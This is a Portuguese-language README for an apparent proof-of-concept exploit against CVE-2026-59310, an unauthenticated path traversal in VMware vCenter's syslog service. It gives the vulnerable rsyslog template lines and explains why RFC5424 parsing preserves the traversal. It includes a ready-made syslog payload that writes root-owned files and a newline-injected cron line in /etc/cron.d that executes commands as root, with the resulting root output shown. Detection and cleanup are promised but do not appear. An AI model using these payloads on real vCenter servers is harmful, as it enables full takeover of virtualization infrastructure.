
PoC e exploit em Python para CVE-2026-59310, uma path traversal no syslog do VMware vCenter que leva a RCE como root não autenticado via injeção em cron, com orientações de detecção e limpeza.
Aviso legal: Este projeto destina-se exclusivamente a testes de segurança autorizados, validação de vulnerabilidades e pesquisa defensiva. Utilize-o apenas em ambientes com autorização escrita explícita. O usuário é o único responsável por quaisquer consequências decorrentes do uso indevido.
| Item | Conteúdo |
|---|---|
| Nome da vulnerabilidade | Path Traversal no Syslog do VMware vCenter |
| Identificador | CVE-2026-59310 |
| Tipo de vulnerabilidade | Path Traversal → Escrita arbitrária de arquivos → Execução remota de código |
| CVSS 3.1 | 9.8 (Crítico) |
| Pré-requisito de exploração | Basta alcançar a porta syslog (UDP/TCP 514 por padrão), sem qualquer credencial |
| Consequência da exploração | Escrita em caminho arbitrário e execução de código arbitrário com privilégios root |
| Data de divulgação | 2026-07-29 |
| Exploração em campo | Já observada |
| Aviso do fornecedor | VMSA-2026-0006 |
O serviço de recepção de syslog integrado do vCenter (rsyslog) utiliza modelos de caminho dinâmico para armazenar logs; o modelo concatena diretamente os campos APP-NAME e HOSTNAME do cabeçalho da mensagem no caminho do arquivo, sem qualquer sanitização de caminho. Um atacante que envie uma mensagem especialmente construída para a porta syslog acessível pode fazer com que o caminho de escrita escape do diretório de logs pretendido, e combinando isso com tarefas agendadas, alcançar execução arbitrária de código.
O vCenter é o centro de gerenciamento de virtualização; uma vez comprometido, equivale à perda de todo o ambiente vSphere / VCF.
Versões afetadas (inferiores às versões corrigidas abaixo)
| Ramo | Faixa afetada | Versão corrigida |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 versão inicial / U1 | Todas | Atualizar para 8.0 U3k ou superior conforme o caminho suportado |
| 7.0 | Sem o patch de suporte estendido correspondente instalado | Contate a Broadcom para obter o patch ou migre para uma versão suportada |
Também afeta: implantações autônomas do vCenter, bem como os componentes vCenter afetados utilizados no VMware Cloud Foundation, VMware vSphere Foundation e VMware Telco Cloud.
Ambiente verificado: VMware vCenter Server 9.0.2.0 / Build 25148086, anterior à versão corrigida 25629525, confirmadamente em estado não corrigido.
/etc/rsyslog.conf (configuração padrão de fábrica da VMware):
29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"
%app-name% é usado simultaneamente como nome de diretório e nome de arquivo, sem sanitização de caminho.
63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
Exige apenas correspondência de prefixo; o atacante pode usar rsyslog/... para acionar essa regra e entrar no modelo de caminho dinâmico.
24: $EscapeControlCharactersOnReceive off
As quebras de linha no conteúdo da mensagem são gravadas no disco como estão, permitindo ao atacante controlar a estrutura de linhas do arquivo gravado.
Este é o ponto mais facilmente negligenciado nesta vulnerabilidade.
/ não é permitido por padrão, fazendo com que APP-NAME seja truncado em / → não é possível realizar traversal.APP-NAME é um campo independente separado por espaço, sem validação de lista de caracteres permitidos; / e .. são preservados como estão → é possível realizar traversal.O lado servidor input(type="imudp" port="514") utiliza o conjunto de regras padrão e também aceita mensagens RFC5424. O atacante só precisa formatar a mensagem no formato RFC5424 para que os caracteres de traversal cheguem diretamente ao caminho do arquivo.
Comparação prática (mesma carga rsyslog/../../../../tmp/x):
| Parser | Valor real de %app-name% |
|---|---|
| pmrfc3164 | rsyslog ← truncado em / |
| pmrfc5424 | rsyslog/../../../../tmp/x ← preservado integralmente |
Evidência adicional:
..puro é criado como nome de diretório literal (por exemplo,rsyslog..), o que indica que a camada omfile do rsyslog não realiza normalização de..; o que realmente determina o sucesso é se o parser consegue enviar/para o campo.
① Pacote UDP não autenticado → ② APP-NAME RFC5424 carrega traversal → ③ Escapa do diretório de logs e escreve arbitrariamente (root)
↓
⑤ Execução de código como root ← ④ Implanta tarefa agendada em /etc/cron.d
<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello
Substituindo no modelo:
Diretório = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED
Arquivo = o mesmo acima + "-syslog.log" → /tmp/PWNED-syslog.log
Resultado: gravação com proprietário root em /tmp/PWNED-syslog.log, com criação automática de diretórios pai inexistentes e conteúdo totalmente controlável.
O nome do arquivo gravado sempre termina em -syslog.log, impossibilitando sobrescrever diretamente /etc/cron.d/xxx.
Porém, com a passagem de nova linha, é possível injetar quebras de linha no MSG, fazendo com que o conteúdo controlável comece na coluna 0 do arquivo:
2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← cron reporta "bad minute", ignora
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← executado como linha cron válida
#
O crond agenda e executa como root, obtendo:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
/opt/vmware/share/htdocs/ (lighttpd escutando na 5480) e depois ler via https://<target>:5480/..., consistente com a descrição do aviso do fornecedor./var/spool/cron/root: é possível gravar nesse diretório, mas seria necessário um arquivo com o nome root, limitado pelo sufixo -syslog.log, portanto /etc/cron.d/ é mais direto.| Item | Valor |
|---|---|
| Alvo | VMware vCenter Server 9.0.2.0, Build 25148086 |
| Versão corrigida | 9.0.2.0100, Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 (pacote personalizado VMware) |
| Portas syslog | UDP/TCP 514, TCP 1514 (TLS) |
| Requisito de autenticação | Nenhum |